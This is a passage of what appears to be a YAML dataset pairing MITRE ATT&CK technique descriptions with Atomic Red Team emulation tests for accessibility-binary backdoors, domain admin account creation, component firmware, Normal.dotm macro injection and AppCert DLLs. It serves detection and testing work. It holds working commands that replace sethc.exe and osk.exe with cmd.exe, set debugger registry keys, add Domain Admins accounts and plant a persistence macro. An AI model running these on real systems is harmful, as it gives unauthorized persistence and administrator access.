AECOM Global Security Operations Center x_mitre_deprecated: false x_mitre_detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5 created: '2020-01-24T14:32:40.315Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/008 external_id: T1546.008 - source_name: Narrator Accessibility Abuse description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020. url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html - source_name: FireEye Hikit Rootkit description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.' url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - source_name: DEFCON2016 Sticky Keys description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - source_name: Tilbury 2014 description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.008 atomic_tests: - name: Attaches Command Prompt as a Debugger to a List of Target Processes auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9 description: | Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables. Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe. supported_platforms: - windows input_arguments: parent_list: description: 'Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: "osk.exe" ' type: string default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe attached_process: description: 'Full path to process to attach to target in #{parent_list}. Default: cmd.exe ' type: path default: C:\windows\system32\cmd.exe executor: command: | $input_table = "#{parent_list}".split(",") $Name = "Debugger" $Value = "#{attached_process}" Foreach ($item in $input_table){ $item = $item.trim() $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force } ELSE { New-ItemProperty -Path $registryPath -Name $name -Value $Value } } cleanup_command: | $input_table = "#{parent_list}".split(",") Foreach ($item in $input_table) { $item = $item.trim() reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null } name: powershell elevation_required: true - name: Replace binary of sticky keys auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3 description: 'Replace sticky keys binary (sethc.exe) with cmd.exe ' supported_platforms: - windows executor: command: | IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\sethc.exe /A icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe ' name: command_prompt elevation_required: true - name: Create Symbolic Link From osk.exe to cmd.exe auto_generated_guid: 51ef369c-5e87-4f33-88cd-6d61be63edf2 description: 'Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in. ' supported_platforms: - windows executor: command: | IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd ) takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe cleanup_command: | takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe icacls %windir%\system32\osk.exe /inheritance:d icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller" icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX icacls %windir%\system32\osk.exe /grant:r Administrators:RX name: command_prompt elevation_required: true - name: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key auto_generated_guid: 444ff124-4c83-4e28-8df6-6efd3ece6bd4 description: 'Executes code specified in the registry for a new AT (Assistive Technologies). ' supported_platforms: - windows executor: command: | reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f atbroker /start malware_test cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f ' name: command_prompt elevation_required: true - name: Auto-start application on user logon auto_generated_guid: 7125eba8-7b30-426b-9147-781d152be6fb description: | Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value. This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session. supported_platforms: - windows executor: command: | reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f cleanup_command: | reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f name: command_prompt elevation_required: true T1136.002: technique: modified: '2024-02-01T04:37:36.774Z' name: 'Create Account: Domain Account' description: |- Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999) Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: 'Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'User Account: User Account Creation' type: attack-pattern id: attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177 created: '2020-01-28T14:05:17.825Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1136/002 external_id: T1136.002 - source_name: Microsoft User Creation Event description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.' url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 - source_name: Savill 1999 description: Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015. url: https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1136.002 atomic_tests: - name: Create a new Windows domain admin user auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62 description: 'Creates a new domain admin user in a command prompt. ' supported_platforms: - windows input_arguments: username: description: Username of the user to create type: string default: T1136.002_Admin password: description: Password of the user to create type: string default: T1136_pass123! group: description: Domain administrator group to which add the user to type: string default: Domain Admins executor: command: | net user "#{username}" "#{password}" /add /domain net group "#{group}" "#{username}" /add /domain cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain ' name: command_prompt elevation_required: false - name: Create a new account similar to ANONYMOUS LOGON auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548 description: 'Create a new account similar to ANONYMOUS LOGON in a command prompt. ' supported_platforms: - windows input_arguments: username: description: Username of the user to create type: string default: ANONYMOUS LOGON password: description: Password of the user to create type: string default: T1136_pass123! executor: command: 'net user "#{username}" "#{password}" /add /domain ' cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain ' name: command_prompt elevation_required: false - name: Create a new Domain Account using PowerShell auto_generated_guid: 5a3497a4-1568-4663-b12a-d4a5ed70c7d7 description: 'Creates a new Domain User using the credentials of the Current User ' supported_platforms: - windows input_arguments: username: description: Name of the Account to be created type: string default: T1136.002_Admin password: description: Password of the Account to be created type: string default: T1136_pass123! executor: command: | $SamAccountName = '#{username}' $AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force Add-Type -AssemblyName System.DirectoryServices.AccountManagement $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context) $User.SamAccountName = $SamAccountName $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $User.Enabled = $True $User.PasswordNotRequired = $False $User.DisplayName = $SamAccountName $User.Save() $User cleanup_command: 'cmd /c "net user #{username} /del >nul 2>&1" ' name: powershell elevation_required: false - name: Active Directory Create Admin Account auto_generated_guid: 562aa072-524e-459a-ba2b-91f1afccf5ab description: 'Use Admin Credentials to Create A Domain Admin Account ' supported_platforms: - linux input_arguments: domain: description: The domain to be tested type: string default: example top_level_domain: description: The top level domain (.com, .test, .remote, etc... following domain, minus the .) type: string default: test admin_user: description: username@domain of a user with admin privileges type: string default: admin@example.test admin_password: description: password of the user with admin privileges referenced in admin_user type: string default: s3CurePssw0rD! domain_controller: description: Name of the domain_controller machine, defined in etc/hosts type: string default: adVM dependency_executor_name: sh dependencies: - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm available ' prereq_command: 'which ldapadd && which ldapmodify ' get_prereq_command: 'echo ldapadd or ldapmodify not found; exit 1 ' executor: elevation_required: false command: | echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif cleanup_command: | echo removing Atomic User (temporary user) echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif rm deleteuser.ldif rm tempadmin.ldif name: sh - name: Active Directory Create User Account (Non-elevated) auto_generated_guid: 8c992cb3-a46e-4fd5-b005-b1bab185af31 description: 'Use Admin Credentials to Create A Normal Account (as means of entry) ' supported_platforms: - linux input_arguments: domain: description: The domain to be tested type: string default: example top_level_domain: description: The top level domain (.com, .test, .remote, etc... following domain, minus the .) type: string default: test admin_user: description: username@domain of a user with admin privileges type: string default: user@example.test admin_password: description: password of the user type: string default: s3CurePssw0rD! domain_controller: description: Name of the domain_controller machine, defined in etc/hosts type: string default: adVM dependency_executor_name: sh dependencies: - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapadd, ldapmodify ' prereq_command: | which ldapadd which ldapmodify get_prereq_command: 'echo ldapadd or ldapmodify not found; exit 1 ' executor: elevation_required: false command: | echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif cleanup_command: | echo removing Atomic User (temporary user) echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif rm deleteuser.ldif rm tempadmin.ldif name: sh T1542.002: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4 type: attack-pattern created: '2019-12-19T20:21:21.669Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1542.002 url: https://attack.mitre.org/techniques/T1542/002 - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018. source_name: SanDisk SMART - url: https://www.smartmontools.org/ description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018. source_name: SmartMontools - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. source_name: ITWorld Hard Disk Health Dec 2014 modified: '2022-05-11T14:00:00.188Z' name: Component Firmware description: |- Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Firmware: Firmware Modification' - 'Process: OS API Execution' - 'Driver: Driver Metadata' x_mitre_defense_bypassed: - Anti-virus - Host intrusion prevention systems - File monitoring x_mitre_permissions_required: - SYSTEM x_mitre_system_requirements: - Ability to update component device firmware from the host operating system. spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1137.001: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21 type: attack-pattern created: '2019-11-07T20:29:17.788Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137.001 url: https://attack.mitre.org/techniques/T1137/001 - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017. source_name: Microsoft Change Normal Template - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office description: Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017. source_name: MSDN VBA in Office - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017. source_name: enigma0x3 normal.dotm - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017. source_name: Hexacorn Office Template Macros - source_name: GlobalDotName Jun 2019 url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019. - source_name: CrowdStrike Outlook Forms url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019. - source_name: Outlook Today Home Page url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019. modified: '2022-04-25T14:00:00.188Z' name: 'Office Application Startup: Office Template Macros.' description: "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: 'Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' - 'File: File Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1137.001 atomic_tests: - name: Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell auto_generated_guid: 940db09e-80b6-4dd0-8d4d-7764f89b47a8 description: 'Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening. ' supported_platforms: - windows dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' executor: name: powershell elevation_required: true command: "# Registry setting to \"Trust access to the VBA project object model\" in Word\n$registryKey = \"HKCU:Software\\Microsoft\\Office\\16.0\\Word\\Security\"\n$registryValue = \"AccessVBOM\"\n$registryData = \"1\"\n# The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0\n$flagPath1 = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag1.txt\"\n$flagPath2 = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag2.txt\"\n# Get the value of the Key/Value pair\n$value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue\n# Logical operation to: if the value of the key/value is 1, do nothing - \n# if the value is 0, change it to 1 and create flag1 - \n# if it doesn't exist, create the value and flag2\nif ($value -eq \"1\") \n{\n Write-Host \"The registry value '$registryValue' already exists with the required setting.\"\n} \n \ elseif ($value -eq \"0\") \n{\n Write-Host \"The registry value was set to 0, temporarily changing to 1.\"\n New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null\n \ echo \"flag1\" > $flagPath1\n} \n else \n{\n Write-Host \"The registry value '$registryValue' does not exist, temporarily creating it.\"\n New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null\n echo \"flag2\" > $flagPath2\n}\nAdd-Type -AssemblyName Microsoft.Office.Interop.Word\n# Define the path of copied normal template for restoral\n$copyPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal1.dotm\"\n# Define the path to the normal template\n$docPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\"\n# Create copy of orginal template for restoral\nCopy-Item -Path $docPath -Destination $copyPath -Force\n# VBA code to be insterted as a Macro\n# Will create a scheduled task to open the Calculator at 8:04pm daily\n$vbaCode = @\"\n \ Sub AutoExec()\n Dim applicationPath As String\n Dim taskName As String\n \ Dim runTime As String\n Dim schTasksCmd As String\n applicationPath = \"C:\\Windows\\System32\\calc.exe\"\n taskName = \"OpenCalcTask\"\n runTime = \"20:04\"\n schTasksCmd = \"schtasks /create /tn \"\"\" & taskName & \"\"\" /tr \"\"\" & applicationPath & \"\"\" /sc daily /st \" & runTime & \" /f\"\n Shell \"cmd.exe /c \" & schTasksCmd, vbNormalFocus\n End Sub\n\"@\n# Create a new instance of Word.Application\n$word = New-Object -ComObject Word.Application\n# Keep the Word application hidden\n$word.Visible = $false\n# Open the document\n$document = $word.Documents.Open($docPath)\n# Access the VBA project of the document\n$vbaProject = $document.VBProject\n# Add a new module to the VBA project\n$newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule\n# Add the VBA code to the new module\n$newModule.CodeModule.AddFromString($vbaCode)\n# Run the Macro\n$word.run(\"AutoExec\")\n# Save and close the document\n$document.SaveAs($docPath)\n$document.Close()\n# Quit Word\n$word.Quit()\n# Release COM objects\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) | Out-Null\n" cleanup_command: "# Registry setting to \"Trust access to the VBA project object model\" in Word\n$registryKey = \"HKCU:Software\\Microsoft\\Office\\16.0\\Word\\Security\"\n$registryValue = \"AccessVBOM\"\n$registryData1 = \"1\"\n$registryData0 = \"0\"\n# Defines the path each flag file created depending on the original registry state\n$flagPath1 = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag1.txt\"\n$flagPath2 = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag2.txt\"\n# Define the path of copied normal template for restoral\n$copyPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal1.dotm\"\n# Define the path to the normal template\n$docPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\"\n# Delete the scheduled task created by the Macro\nschtasks /Delete /TN \"OpenCalcTask\" /F | Out-Null\n#Restore the orginal template if the backup copy exists\nif (Test-Path $copyPath)\n{\n #Delete the injected template\n Remove-Item -Force $docPath -ErrorAction SilentlyContinue\n # Restore the original template\n Rename-Item -Force -Path $copyPath -NewName $docPath -ErrorAction SilentlyContinue\n Write-Host \"The original template has been restored\"\n}\n \ else\n{\n Write-Host \"The original template is present\"\n}\n#Restore the original state of the registry key\nif (Test-Path $flagPath1) \n{\n \ # The value was originally 0, set back to 0\n New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData0 -PropertyType DWORD -Force | Out-Null\n Remove-Item -Force $flagPath1 -ErrorAction SilentlyContinue\n \ Write-Host \"The original registry state has been restored\"\n} \n elseif (Test-Path $flagPath2)\n{\n #The value did not previously exist, delete the value\n Remove-ItemProperty -Path $registryKey -Name $registryValue | Out-Null\n Remove-Item -Force $flagPath2 -ErrorAction SilentlyContinue | Out-Null\n Write-Host \"The original registry state has been restored\"\n}\n \ else \n{\n # The value was already 1, do nothing\n Write-Host \"The value $registryValue already existed in $registryKey.\"\n}\n" T1546.009: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c type: attack-pattern created: '2020-01-24T14:47:41.795Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.009 url: https://attack.mitre.org/techniques/T1546/009 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://forum.sysinternals.com/appcertdlls_topic12546.html description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017. source_name: Sysinternals AppCertDlls Oct 2007 modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: AppCert DLLs' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch 